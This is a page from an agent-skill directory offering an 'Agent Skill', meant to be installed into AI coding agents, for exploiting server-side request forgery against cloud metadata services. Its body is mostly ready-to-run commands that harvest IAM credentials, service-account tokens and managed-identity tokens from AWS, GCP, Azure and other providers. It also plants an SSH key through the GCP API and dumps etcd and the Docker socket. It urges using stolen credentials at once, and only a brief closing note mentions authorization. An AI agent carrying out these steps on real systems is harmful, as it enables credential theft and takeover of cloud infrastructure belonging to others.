# Cloud Ssrf Exploitation

> Exploit SSRF vulnerabilities to access cloud metadata services and extract credentials from AWS, GCP, Azure, and other cloud providers. Use this skill whenever the user mentions SSRF, server-side request forgery, cloud metadata, instance metadata, AWS/GCP/Azure credentials, IAM roles, managed identities, or wants to enumerate cloud infrastructure through SSRF. Also trigger for requests about metadata endpoints, IMDS, instance identity, or extracting cloud credentials from vulnerable applications.

- Skill: `abelrguezr/cloud-ssrf-exploitation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/cloud-ssrf-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/cloud-ssrf-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/cloud-ssrf-exploitation

---


# Cloud SSRF Exploitation

This skill helps you exploit Server-Side Request Forgery (SSRF) vulnerabilities to access cloud metadata services and extract credentials from various cloud providers.

## Quick Start

When you discover an SSRF vulnerability, use the appropriate script for your target cloud provider:

```bash
# AWS EC2
./scripts/aws-ec2-metadata.sh

# GCP
./scripts/gcp-metadata.sh

# Azure
./scripts/azure-metadata.sh
```

Or follow the manual commands below for each provider.

---

## AWS Exploitation

### AWS EC2 Instance Metadata

The metadata endpoint is accessible at `http://169.254.169.254`. There are two versions:

- **IMDSv1**: Accessible via GET requests (easier to exploit)
- **IMDSv2**: Requires a token via PUT request first (more secure)

**Important notes:**
- IMDSv2 blocks requests with `X-Forwarded-For` header
- IMDSv2 has a hop limit of 1, preventing access from containers inside EC2

#### Enumerate EC2 Metadata

```bash
# Get token for IMDSv2
EC2_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Use token for requests
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

# Basic instance info
curl -s -H "$HEADER" "$URL/ami-id"
curl -s -H "$HEADER" "$URL/instance-id"
curl -s -H "$HEADER" "$URL/instance-type"
curl -s -H "$HEADER" "$URL/placement/region"

# IAM Role and Credentials
curl -s -H "$HEADER" "$URL/iam/info"
curl -s -H "$HEADER" "$URL/iam/security-credentials/"

# For each role found:
for role in $(curl -s -H "$HEADER" "$URL/iam/security-credentials/"); do
  echo "Role: $role"
  curl -s -H "$HEADER" "$URL/iam/security-credentials/$role"
done

# User Data (may contain hardcoded credentials)
curl -s -H "$HEADER" "http://169.254.169.254/latest/user-data"

# Network interfaces
for mac in $(curl -s -H "$HEADER" "$URL/network/interfaces/macs/"); do
  echo "MAC: $mac"
  curl -s -H "$HEADER" "$URL/network/interfaces/macs/$mac/public-ipv4s"
  curl -s -H "$HEADER" "$URL/network/interfaces/macs/$mac/security-groups"
done
```

#### Using Extracted AWS Credentials

Once you have credentials, create an AWS profile:

```ini
[compromised-role]
aws_access_key_id = ASIA...
aws_secret_access_key = ...
aws_session_token = ...
```

Then use with AWS CLI or PACU:

```bash
aws --profile compromised-role s3 ls
pacu --profile compromised-role
```

### AWS ECS (Container Service)

ECS uses a different metadata endpoint. Find the GUID from the environment variable:

```bash
# Read from environment (may require path traversal to /proc/self/environ)
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

# Access credentials
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
```

### AWS Lambda

Lambda credentials are stored in environment variables:

```bash
# Access via file path traversal
cat /proc/self/environ | tr '\0' '\n' | grep AWS_

# Key variables:
# AWS_SESSION_TOKEN
# AWS_SECRET_ACCESS_KEY
# AWS_ACCESS_KEY_ID

# Lambda event data (may contain sensitive info)
curl http://localhost:9001/2018-06-01/runtime/invocation/next
```

### AWS Elastic Beanstalk

```bash
# Get account ID and region
curl http://169.254.169.254/latest/dynamic/instance-identity/document

# Get credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role

# Use credentials to access S3
aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
```

---

## GCP Exploitation

### GCP Compute Engine

GCP metadata requires the `Metadata-Flavor: Google` header.

#### Enumerate GCP Metadata

```bash
# Project information
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/project/numeric-project-id

# Instance information
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/instance/hostname
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/instance/id
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/instance/zone

# Service Accounts (most important)
for sa in $(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
  echo "Service Account: $sa"
  
  # Get email
  curl -s -H "Metadata-Flavor: Google" \
    "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/email"
  
  # Get token
  curl -s -H "Metadata-Flavor: Google" \
    "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/token"
  
  # Get scopes
  curl -s -H "Metadata-Flavor: Google" \
    "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/scopes"
done

# User data (startup scripts may contain secrets)
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata/computeMetadata/v1/instance/attributes/startup-script"

# Network interfaces
for iface in $(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
  echo "Interface: $iface"
  curl -s -H "Metadata-Flavor: Google" \
    "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip"
done

# Kubernetes attributes (if applicable)
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
```

#### Using Extracted GCP Tokens

```bash
# Via environment variable
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via token file
echo "<token>" > /tmp/token
gcloud config set auth/access_token_file /tmp/token
gcloud projects list
gcloud config unset auth/access_token_file
```

#### Add SSH Key (if token has compute scope)

```bash
# Get token
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata/computeMetadata/v1/instance/service-accounts/default/token?alt=json"

# Check token scope
curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<token>"

# Add SSH key
curl -X POST "https://www.googleapis.com/compute/v1/projects/<PROJECT_ID>/setCommonInstanceMetadata" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  --data '{"items": [{"key": "sshkeyname", "value": "ssh-rsa AAAA... user@host"}]}'
```

### GCP Cloud Functions

Similar to VMs but with limited endpoints:

```bash
# Project info
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/project/project-id

# Instance info
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/instance/id
curl -s -H "Metadata-Flavor: Google" \
  http://metadata/computeMetadata/v1/instance/zone

# Service accounts
for sa in $(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
  curl -s -H "Metadata-Flavor: Google" \
    "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/token"
done
```

---

## Azure Exploitation

### Azure VM

Azure metadata requires the `Metadata: true` header and must NOT include `X-Forwarded-For`.

#### Enumerate Azure Metadata

```bash
HEADER="Metadata: true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13"

# Instance details
curl -s -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

# Get tokens for various resources
curl -s -H "$HEADER" \
  "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

curl -s -H "$HEADER" \
  "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

curl -s -H "$HEADER" \
  "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

curl -s -H "$HEADER" \
  "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

# Load balancer info
curl -s -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
```

#### Managed Identities

Azure VMs can have system-assigned and user-assigned managed identities:

```bash
# Get token for specific managed identity
# Use object_id, client_id, or msi_res_id parameter

# Example with client_id
curl -s -H "$HEADER" \
  "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/&client_id=<CLIENT_ID>"

# Get VM details to enumerate attached identities
export TOKEN=$(curl -s -H "$HEADER" \
  "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" | \
  jq -r '.access_token')

export SUBSCRIPTION_ID=$(curl -s -H "$HEADER" \
  "$URL/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "$HEADER" \
  "$URL/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "$HEADER" \
  "$URL/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Query for attached identities
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
```

### Azure App Services & Functions

Use environment variables `IDENTITY_HEADER` and `IDENTITY_ENDPOINT`:

```bash
# Check environment
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# Get tokens
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
  -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" \
  -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" \
  -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
```

---

## Other Cloud Providers

### Digital Ocean

```bash
curl http://169.254.169.254/metadata/v1.json | jq
curl http://169.254.169.254/metadata/v1/user-data
curl http://169.254.169.254/metadata/v1/hostname
curl http://169.254.169.254/metadata/v1/region
```

### IBM Cloud

```bash
# Get token first
export TOKEN=$(curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" \
  -H "Metadata-Flavor: ibm" \
  -H "Accept: application/json" \
  -d '{"expires_in": 3600}' | jq -r '.access_token')

# Get instance details
curl -s -H "Authorization: Bearer $TOKEN" \
  "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"

# Get IAM credentials
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
```

### Oracle Cloud

```bash
curl http://192.0.0.192/latest/meta-data/
curl http://192.0.0.192/latest/user-data/
curl http://192.0.0.192/latest/attributes/
```

### Alibaba Cloud

```bash
curl http://100.100.100.200/latest/meta-data/
curl http://100.100.100.200/latest/meta-data/instance-id
curl http://100.100.100.200/latest/meta-data/image-id
```

---

## Container & Orchestration Platforms

### Kubernetes ETCD

```bash
# Check if etcd is accessible
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```

### Docker

```bash
# Access via Docker socket
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json
```

### Rancher

```bash
curl http://rancher-metadata/v2/
curl http://rancher-metadata/v2/service-ids/
```

---

## Best Practices

1. **Always check for IMDSv2** on AWS - try both v1 and v2 endpoints
2. **Look for environment variables** in Lambda, Azure Functions, and ECS
3. **Check token scopes** before attempting privilege escalation
4. **Use extracted credentials immediately** - they may expire
5. **Document all findings** - metadata can reveal entire infrastructure topology
6. **Be aware of rate limits** - some providers throttle metadata requests

## Tools to Use with Extracted Credentials

- **AWS**: `aws-cli`, `pacu`, `aws-s3-brute`
- **GCP**: `gcloud`, `gsutil`, `gauf`
- **Azure**: `az-cli`, `graph-cli`, `azure-devops-cli`

## Safety Notes

- Only use these techniques on systems you have authorization to test
- Metadata endpoints can reveal sensitive infrastructure information
- Extracted credentials may have broad permissions - handle responsibly
- Some endpoints may be rate-limited or monitored

